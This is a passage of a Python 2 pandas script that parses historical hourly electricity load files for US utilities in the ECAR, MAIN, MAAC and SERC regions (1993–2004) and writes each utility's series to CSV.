pd.read_fwf('%s/ecar/1997/FE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/FE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/FE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/FE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/FE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/FE02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/FE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/FE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 'mccp' : { 1993 : pd.read_fwf('%s/ecar/1993/MCCP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/MCCP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/MCCP97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/MCCP00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/MCCP01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/MCCP02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/MCCP03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/MCCP04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() } } if not os.path.exists('./ecar'): os.mkdir('ecar') for k in ecar.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(ecar[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(ecar[k][i]))) for i in ecar[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./ecar/%s.csv' % k) ###### MAIN # CECO : 4110 # CILC: 3252 <- Looks like something is getting cut off from 1993-2000 # CIPS: 3253 # IPC: 9208 # MGE: 11479 # SIPC: 17632 # SPIL: 17828 # UE: 19436 # WEPC: 20847 # WPL: 20856 # WPS: 20860 # UPP: 19578 # WPPI: 20858 # AMER: 19436 # CWL: 4045 main = { 4110 : { 1993 : pd.read_fwf('%s/main/1993/CECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=2, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_csv('%s/main/1995/CECO95' % (fulldir), skiprows=3, header=None)[0].values, 1996 : pd.read_csv('%s/main/1996/CECO96' % (fulldir), skiprows=4, header=None)[1].values, 1997 : pd.read_csv('%s/main/1997/CECO97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=4, header=None)[3].values, 1998 : pd.read_csv('%s/main/1998/CECO98' % (fulldir), sep='\s', skipinitialspace=True, skiprows=5, header=None)[5].values, 1999 : pd.read_csv('%s/main/1999/CECO99' % (fulldir), sep='\t', skipinitialspace=True, skiprows=5, header=None)[1].values, 2000 : pd.read_csv('%s/main/2000/CECO00' % (fulldir), sep='\t', skipinitialspace=True, skiprows=5, header=None)[1].values, 2001 : pd.read_csv('%s/main/2001/CECO01' % (fulldir), sep='\t', skipinitialspace=True, skiprows=5, header=None)[1].values, 2002 : pd.read_csv('%s/main/2002/CECO02' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None)[2].values }, 3252 : { 1993 : pd.read_fwf('%s/main/1993/CILC93' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1994 : pd.read_fwf('%s/main/1994/CILC94' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1995 : pd.read_fwf('%s/main/1995/CILC95' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1996 : pd.read_fwf('%s/main/1996/CILC96' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1997 : pd.read_fwf('%s/main/1997/CILC97' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1998 : pd.read_fwf('%s/main/1998/CILC98' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 1999 : pd.read_fwf('%s/main/1999/CILC99' % (fulldir), header=None).iloc[:, 2:].values.ravel(), 2000 : pd.read_excel('%s/main/2000/CILC00' % (fulldir), skiprows=4).loc[:, 'Hour 1':'Hour 24'].values.ravel(), 2001 : pd.read_excel('%s/main/2001/CILC01' % (fulldir), skiprows=4).loc[:, 'Hour 1':'Hour 24'].values.ravel(), 2002 : pd.read_excel('%s/main/2002/CILC02' % (fulldir), skiprows=4).loc[:, 'Hour 1':'Hour 24'].values.ravel(), 2003 : pd.read_csv('%s/main/2003/CILC03' % (fulldir), skiprows=1, sep='\t').iloc[:, -1].values }, 3253 : { 1993 : pd.read_fwf('%s/main/1993/CIPS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1994 : pd.read_fwf('%s/main/1994/CIPS94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1).iloc[:, 1:].values.ravel(), 1995 : pd.read_fwf('%s/main/1995/CIPS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/main/1996/CIPS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/main/1997/CIPS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9208 : { 1993 : pd.read_csv('%s/main/1993/IPC93' % (fulldir), skipfooter=1, header=None)[2].values, 1994 : pd.read_csv('%s/main/1994/IPC94' % (fulldir), skipfooter=1, header=None)[2].values, 1995 : pd.read_csv('%s/main/1995/IPC95' % (fulldir), skipfooter=1, header=None)[4].astype(str).str.replace('.', '0').astype(float).values, 1996 : pd.read_csv('%s/main/1996/IPC96' % (fulldir)).iloc[:, -1].values, 1997 : pd.read_csv('%s/main/1997/IPC97' % (fulldir)).iloc[:, -1].values, 1998 : pd.read_excel('%s/main/1998/IPC98' % (fulldir)).iloc[:, -1].values, 1999 : pd.read_csv('%s/main/1999/IPC99' % (fulldir), skiprows=2, header=None)[1].values, 2000 : pd.read_excel('%s/main/2000/IPC00' % (fulldir), skiprows=1).iloc[:, -1].values, 2001 : pd.read_excel('%s/main/2001/IPC01' % (fulldir), skiprows=1).iloc[:, -1].values, 2002 : pd.read_excel('%s/main/2002/IPC02' % (fulldir), skiprows=4).iloc[:, -1].values, 2003 : pd.read_excel('%s/main/2003/IPC03' % (fulldir), skiprows=1).iloc[:, -1].values, 2004 : pd.read_excel('%s/main/2004/IPC04' % (fulldir), skiprows=1).iloc[:, -1].values }, 11479 : { 1993 : pd.read_fwf('%s/main/1993/MGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skiprows=4).iloc[:, 1:].dropna().astype(float).values.ravel(), 1995 : pd.read_csv('%s/main/1995/MGE95' % (fulldir), sep=' ', skipinitialspace=True, header=None)[2].values, 1997 : pd.read_csv('%s/main/1997/MGE97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=12, header=None).iloc[:-1, 2].astype(float).values, 1998 : pd.read_csv('%s/main/1998/MGE98' % (fulldir), sep=' ', skipinitialspace=True).iloc[:-1]['LOAD'].astype(float).values, 1999 : pd.read_csv('%s/main/1999/MGE99' % (fulldir), sep=' ', skiprows=2, header=None, skipinitialspace=True).iloc[:-2, 2].astype(float).values, 2000 : pd.read_csv('%s/main/2000/MGE00' % (fulldir), sep=' ', skiprows=3, header=None, skipinitialspace=True, skipfooter=2).iloc[:, 2].astype(float).values, 2000 : pd.read_fwf('%s/main/2000/MGE00' % (fulldir), skiprows=2)['VMS_DATE'].iloc[:-2].str.split().str[-1].astype(float).values, 2001 : pd.read_fwf('%s/main/2001/MGE01' % (fulldir), skiprows=1, header=None).iloc[:-2, 2].values, 2002 : pd.read_fwf('%s/main/2002/MGE02' % (fulldir), skiprows=4, header=None).iloc[:-1, 0].str.split().str[-1].astype(float).values }, 17632 : { 1994 : pd.read_csv('%s/main/1994/SIPC94' % (fulldir), engine='python', skipfooter=1, header=None)[0].values, 1996 : pd.read_csv('%s/main/1996/SIPC96' % (fulldir), engine='python', header=None)[0].values, 1997 : pd.read_csv('%s/main/1997/SIPC97' % (fulldir), engine='python', header=None)[0].values, 1998 : pd.read_csv('%s/main/1998/SIPC98' % (fulldir), engine='python', header=None)[0].values, 1999 : pd.read_csv('%s/main/1999/SIPC99' % (fulldir), engine='python', header=None)[0].replace('no data', '0').astype(float).values, 2000 : pd.read_csv('%s/main/2000/SIPC00' % (fulldir), engine='python', header=None)[0].astype(str).str[:3].astype(float).values, 2001 : pd.read_csv('%s/main/2001/SIPC01' % (fulldir), engine='python', header=None)[0].str.strip().str[:3].astype(float).values, 2002 : pd.read_csv('%s/main/2002/SIPC02' % (fulldir), sep='\t', skiprows=3, header=None)[1].values, 2003 : pd.read_csv('%s/main/2003/SIPC03' % (fulldir), engine='python', header=None)[0].str.strip().str[:3].astype(float).values, 2004 : pd.read_csv('%s/main/2004/SIPC04' % (fulldir), engine='python', header=None)[0].str.strip().str[:3].astype(float).values }, 17828 : { 1993 : pd.read_csv('%s/main/1993/SPIL93' % (fulldir), sep=' ', skipinitialspace=True, skiprows=4, header=None).iloc[:, 3:].values.ravel(), 1994 : pd.read_csv('%s/main/1994/SPIL94' % (fulldir), sep=' ', skipinitialspace=True, skiprows=6, header=None).iloc[:, 3:].values.ravel(), 1995 : pd.read_csv('%s/main/1995/SPIL95' % (fulldir), sep=' ', skipinitialspace=True, skiprows=7, header=None).iloc[:, 3:].values.ravel(), 1996 : pd.read_csv('%s/main/1996/SPIL96' % (fulldir), sep=' ', skipinitialspace=True, skiprows=5, header=None).iloc[:366, 3:].astype(float).values.ravel(), 1997 : pd.read_csv('%s/main/1997/SPIL97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=7, header=None).iloc[:, 3:].values.ravel(), 1998 : pd.read_csv('%s/main/1998/SPIL98' % (fulldir), sep='\t', skipinitialspace=True, skiprows=8, header=None).iloc[:, 4:].values.ravel(), 1999 : pd.read_csv('%s/main/1999/SPIL99' % (fulldir), skiprows=4, header=None)[0].values, 2000 : pd.read_csv('%s/main/2000/SPIL00' % (fulldir), skiprows=4, header=None)[0].values, 2001 : pd.read_csv('%s/main/2001/SPIL01' % (fulldir), sep='\t', skipinitialspace=True, skiprows=7, header=None).iloc[:, 5:-1].values.ravel(), 2002 : pd.read_excel('%s/main/2002/SPIL02' % (fulldir), sheetname=2, skiprows=5).iloc[:, 3:].values.ravel(), 2003 : pd.read_excel('%s/main/2003/SPIL03' % (fulldir), sheetname=2, skiprows=5).iloc[:, 3:].values.ravel(), 2004 : pd.read_excel('%s/main/2004/SPIL04' % (fulldir), sheetname=0, skiprows=5).iloc[:, 3:].values.ravel() }, 19436 : { 1995 : pd.read_fwf('%s/main/1995/UE95' % (fulldir), header=None)[2].values, 1996 : pd.read_fwf('%s/main/1996/UE96' % (fulldir), header=None)[2].values, 1997 : pd.read_fwf('%s/main/1997/UE97' % (fulldir), header=None)[2].values }, 20847 : { 1993 : pd.read_csv('%s/main/1993/WEPC93' % (fulldir), engine='python', skipfooter=1, header=None)[0].values, 1994 : pd.read_csv('%s/main/1994/WEPC94' % (fulldir), engine='python', skipfooter=1, header=None)[0].values, 1995 : pd.read_csv('%s/main/1995/WEPC95' % (fulldir), engine='python', skipfooter=1, header=None)[0].values, 1996 : pd.read_csv('%s/main/1996/WEPC96' % (fulldir), engine='python', header=None)[0].values, 1997 : pd.read_excel('%s/main/1997/WEPC97' % (fulldir), header=None)[0].astype(str).str.strip().replace('NA', '0').astype(float).values, 1998 : pd.read_csv('%s/main/1998/WEPC98' % (fulldir), engine='python', header=None)[0].str.strip().replace('NA', 0).astype(float).values, 1999 : pd.read_excel('%s/main/1999/WEPC99' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 2000 : pd.read_excel('%s/main/2000/WEPC00' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2001 : pd.read_excel('%s/main/2001/WEPC01' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2002 : pd.read_excel('%s/main/2002/WEPC02' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2003 : pd.read_excel('%s/main/2003/WEPC03' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel(), 2004 : pd.read_excel('%s/main/2004/WEPC04' % (fulldir), header=None).iloc[:, 1:].replace('.', '0').astype(float).values.ravel() }, 20856 : { 1993 : pd.read_fwf('%s/main/1993/WPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/main/1994/WPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/main/1995/WPL95' % (fulldir), header=None).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/main/1996/WPL96' % (fulldir), header=None, sep='\t').iloc[:, 1:].values.ravel(), 1997 : pd.read_csv('%s/main/1997/WPL97' % (fulldir), sep=' ', skipinitialspace=True, skiprows=1, header=None)[2].str.replace(',', '').astype(float).values }, 20860 : { 1993 : pd.read_csv('%s/main/1993/WPS93' % (fulldir), sep=' ', header=None, skipinitialspace=True, skipfooter=1).values.ravel(), 1994 : (pd.read_csv('%s/main/1994/WPS94' % (fulldir), sep=' ', header=None, skipinitialspace=True, skipfooter=1).iloc[:, 1:-1]/100).values.ravel(), 1995 : pd.read_csv('%s/main/1995/WPS95' % (fulldir), sep=' ', skipinitialspace=True, skiprows=8, header=None, skipfooter=7)[2].values, 1996 : pd.read_csv('%s/main/1996/WPS96' % (fulldir), sep='\t', skiprows=2).loc[:365, '100':'2400'].astype(float).values.ravel(), 1997 : pd.read_csv('%s/main/1997/WPS97' % (fulldir), sep='\s', header=None, skipfooter=1)[2].values, 1998 : pd.read_csv('%s/main/1998/WPS98' % (fulldir), sep='\s', header=None)[2].values, 1999 : pd.read_excel('%s/main/1999/WPS99' % (fulldir), skiprows=8, skipfooter=8, header=None)[1].values, 2000 : pd.read_excel('%s/main/2000/WPS00' % (fulldir), sheetname=1, skiprows=5, skipfooter=8, header=None)[2].values, 2001 : pd.read_excel('%s/main/2001/WPS01' % (fulldir), sheetname=0, skiprows=5, header=None)[2].values, 2002 : pd.read_csv('%s/main/2002/WPS02' % (fulldir), sep='\s', header=None, skiprows=5)[2].values, 2003 : pd.read_excel('%s/main/2003/WPS03' % (fulldir), sheetname=1, skiprows=6, header=None)[2].values }, 19578 : { 1996 : pd.read_csv('%s/main/1996/UPP96' % (fulldir), header=None, skipfooter=1).iloc[:, -1].values, 2004 : pd.read_excel('%s/main/2004/UPP04' % (fulldir)).iloc[:, -1].values }, 20858 : { 1997 : pd.read_csv('%s/main/1997/WPPI97' % (fulldir), skiprows=5, sep=' ', skipinitialspace=True, header=None).iloc[:, 1:-1].values.ravel(), 1999 : pd.DataFrame([i.split() for i in open('%s/main/1999/WPPI99' % (fulldir)).readlines()[5:]]).iloc[:, 1:-1].astype(float).values.ravel(), 2000 : pd.DataFrame([i.split() for i in open('%s/main/2000/WPPI00' % (fulldir)).readlines()[5:]]).iloc[:, 1:-1].astype(float).values.ravel(), 2001 : pd.read_excel('%s/main/2001/WPPI01' % (fulldir), sheetname=1, skiprows=4).iloc[:, 1:-1].values.ravel(), 2002 : pd.read_excel('%s/main/2002/WPPI02' % (fulldir), sheetname=1, skiprows=4).iloc[:, 1:-1].values.ravel() }, 19436 : { 1998 : pd.read_csv('%s/main/1998/AMER98' % (fulldir), sep='\t').iloc[:, -1].str.strip().replace('na', 0).astype(float).values, 1999 : pd.read_csv('%s/main/1999/AMER99' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values, 2000 : pd.read_csv('%s/main/2000/AMER00' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values, 2001 : pd.read_csv('%s/main/2001/AMER01' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('n/a', 0).astype(float).values, 2002 : pd.read_csv('%s/main/2002/AMER02' % (fulldir), sep='\t').iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values, 2003 : pd.read_csv('%s/main/2003/AMER03' % (fulldir), sep='\t', skiprows=1).iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values, 2004 : pd.read_csv('%s/main/2004/AMER04' % (fulldir), sep='\t', skiprows=1).iloc[:, -1].astype(str).str.strip().replace('na', 0).astype(float).values }, 4045 : { 2000 : pd.read_excel('%s/main/2000/CWL00' % (fulldir), skiprows=2).iloc[:, 1:].values.ravel(), 2001 : pd.read_excel('%s/main/2001/CWL01' % (fulldir), skiprows=1).iloc[:, 0].values, 2002 : pd.read_excel('%s/main/2002/CWL02' % (fulldir), header=None).iloc[:, 0].values, 2003 : pd.read_excel('%s/main/2003/CWL03' % (fulldir), header=None).iloc[:, 0].values } } main[20847][1994][main[20847][1994] > 9000] = 0 main[20847][1995][main[20847][1995] > 9000] = 0 main[20847][1996][main[20847][1996] > 9000] = 0 if not os.path.exists('./main'): os.mkdir('main') for k in main.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(main[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(main[k][i]))) for i in main[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./main/%s.csv' % k) # EEI # Bizarre formatting until 1998 ###### MAAC # AE: 963 # BC: 1167 # DPL: 5027 # PU: 7088 # PN: 14715 # PE: 14940 # PEP: 15270 # PS: 15477 # PJM: 14725 # ALL UTILS maac93 = pd.read_fwf('%s/maac/1993/PJM93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1) maac94 = pd.read_fwf('%s/maac/1994/PJM94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5], header=None, skipfooter=1) maac95 = pd.read_csv('%s/maac/1995/PJM95' % (fulldir), sep='\t', header=None, skipfooter=1) maac96 = pd.read_csv('%s/maac/1996/PJM96' % (fulldir), sep='\t', header=None, skipfooter=1) maac = { 963 : { 1993 : maac93[maac93[0].str.contains('AE')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('AE')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('AE')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('AE')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='ACE_LOAD').iloc[:, 1:25].values.ravel() }, 1167 : { 1993 : maac93[maac93[0].str.contains('BC')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('BC')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('BC')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('BC')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='BC_LOAD').iloc[:, 1:25].values.ravel() }, 5027 : { 1993 : maac93[maac93[0].str.contains('DP')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('DP')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('DP')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('DP')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='DPL_LOAD').iloc[:366, 1:25].values.ravel() }, 7088 : { 1993 : maac93[maac93[0].str.contains('PU')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PU')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PU')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PU')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='GPU_LOAD').iloc[:366, 1:25].values.ravel() }, 14715 : { 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PN_LOAD').iloc[:366, 1:25].values.ravel() }, 14940 : { 1993 : maac93[maac93[0].str.contains('PE$')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PE$')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PE$')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PE$')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PE_Load').iloc[:366, 1:25].values.ravel() }, 15270 : { 1993 : maac93[maac93[0].str.contains('PEP')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PEP')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PEP')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PEP')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PEP_LOAD').iloc[:366, 1:25].values.ravel() }, 15477 : { 1993 : maac93[maac93[0].str.contains('PS')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PS')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PS')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PS')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PS_Load').iloc[:366, 1:25].values.ravel() }, 14725 : { 1993 : maac93[maac93[0].str.contains('PJM')].iloc[:, 1:].values.ravel(), 1994 : maac94[maac94[0].str.contains('PJM')].iloc[:, 1:].values.ravel(), 1995 : maac95[maac95[1].str.contains('PJM')].iloc[:, 2:].values.ravel(), 1996 : maac96[maac96[1].str.contains('PJM')].iloc[:, 2:].values.ravel(), 1997 : pd.read_excel('%s/maac/1997/PJM97' % (fulldir), sheetname='PJM_LOAD').iloc[:366, 1:25].values.ravel(), 1998 : pd.read_csv('%s/maac/1998/PJM98' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 2:].values.ravel(), 1999 : pd.read_excel('%s/maac/1999/PJM99' % (fulldir), header=None)[2].values, 2000 : pd.read_excel('%s/maac/2000/PJM00' % (fulldir), header=None)[2].values } } if not os.path.exists('./maac'): os.mkdir('maac') for k in maac.keys(): print k s = pd.DataFrame(pd.concat([pd.Series(maac[k][i], index=pd.date_range(start=datetime.date(i, 1, 1), freq='h', periods=len(maac[k][i]))) for i in maac[k].keys()]).sort_index(), columns=['load']) s['load'] = s['load'].astype(float).replace(0, np.nan) s.to_csv('./maac/%s.csv' % k) ###### SERC # AEC: 189 # CPL: 3046 # CEPC: 40218 # CEPB: 3408 # MEMP: 12293 # DUKE: 5416 # FPWC: 6235 * # FLINT: 6411 # GUC: 7639 # LCEC: 10857 # NPL: 13204 # OPC: 13994 # SCEG: 17539 # SCPS: 17543 # SMEA: 17568 # TVA: 18642 # VIEP: 19876 # WEMC: 20065 # DU: 4958 # AECI: 924 # ODEC-D: 402290 # ODEC-V: 402291 # ODEC: 40229 # SOCO-APCO: 195 # SOCO-GPCO: 7140 # SOCO-GUCO: 7801 # SOCO-MPCO: 12686 # SOCO-SECO: 16687 *? serc = { 189 : { 1993 : pd.read_csv('%s/serc/1993/AEC93' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:].values.ravel(), 1994 : pd.read_csv('%s/serc/1994/AEC94' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=6).iloc[:, 1:].values.ravel(), 1995 : pd.read_csv('%s/serc/1995/AEC95' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=1).iloc[:, 1:].values.ravel(), 1996 : pd.read_csv('%s/serc/1996/AEC96' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=6).iloc[:, 1:].values.ravel(), 1997 : pd.read_csv('%s/serc/1997/AEC97' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=6).iloc[:, 1:].values.ravel(), 1998 : pd.read_csv('%s/serc/1998/AEC98' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=5).iloc[:, 1:].values.ravel(), 1999 : pd.read_csv('%s/serc/1999/AEC99' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=3).iloc[:, 1:].values.ravel(), 2000 : pd.read_csv('%s/serc/2000/AEC00' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=5).iloc[:, 1:].values.ravel(), 2001 : pd.read_csv('%s/serc/2001/AEC01' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=5).iloc[:, 1:].values.ravel(), 2002 : pd.read_csv('%s/serc/2002/AEC02' % (fulldir), sep='\t', skipinitialspace=True, header=None, skiprows=4).iloc[:, 1:].values.ravel(), 2004 : pd.read_csv('%s/serc/2004/AEC04' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=4).iloc[:, 1:].values.ravel() }, 3046 : { 1994 : pd.read_csv('%s/serc/1994/CPL94' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, -1].values, 1995 : pd.read_csv('%s/serc/1995/CPL95' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=5)[1].values, 1996 : pd.DataFrame([i.split() for i in open('%s/serc/1996/CEPL96' % (fulldir)).readlines()[1:]])[2].astype(float).values, 1997 : pd.DataFrame([i.split() for i in open('%s/serc/1997/CPL97' % (fulldir)).readlines()[1:]])[2].astype(float).values, 1998 : pd.DataFrame([i.split() for i in open('%s/serc/1998/CPL98' % (fulldir)).readlines()[1:]])[2].astype(float).values, 1999 : pd.DataFrame([i.split() for i in open('%s/serc/1999/CPL99' % (fulldir)).readlines()[1:]])[2].astype(float).values, 2000 : pd.read_excel('%s/serc/2000/CPL00' % (fulldir))['Load'].values, 2001 : pd.read_excel('%s/serc/2001/CPL01' % (fulldir))['Load'].values, 2002 : pd.read_excel('%s/serc/2002/CPL02' % (fulldir))['Load'].values, 2003 : pd.read_excel('%s/serc/2003/CPL03' % (fulldir))['Load'].values, 2004 : pd.read_excel('%s/serc/2004/CPL04' % (fulldir))['Load'].values }, 40218 : { 1993 : pd.read_fwf('%s/serc/1993/CEPC93' % (fulldir), header=None).iloc[:, 1:-1].values.ravel(), 1994 : pd.read_csv('%s/serc/1994/CEPC94' % (fulldir), sep=' ', skipinitialspace=True, header=None, skiprows=1).iloc[:, 1:-1].replace('.', '0').astype(float).values.ravel(), 1995 : pd.read_csv('%s/serc/1995/CEPC95' % (fulldir), sep=' ', skipinitialspace=True, header=None).iloc[:, 1:-1].replace('.', '0').astype(float).values.ravel(), 1996 : (pd.read_fwf('%s/serc/1996/CEPC96' % (fulldir)).iloc[:-1, 1:]/1000).values.ravel(), 1997 : (pd.DataFrame([i.split() for i in 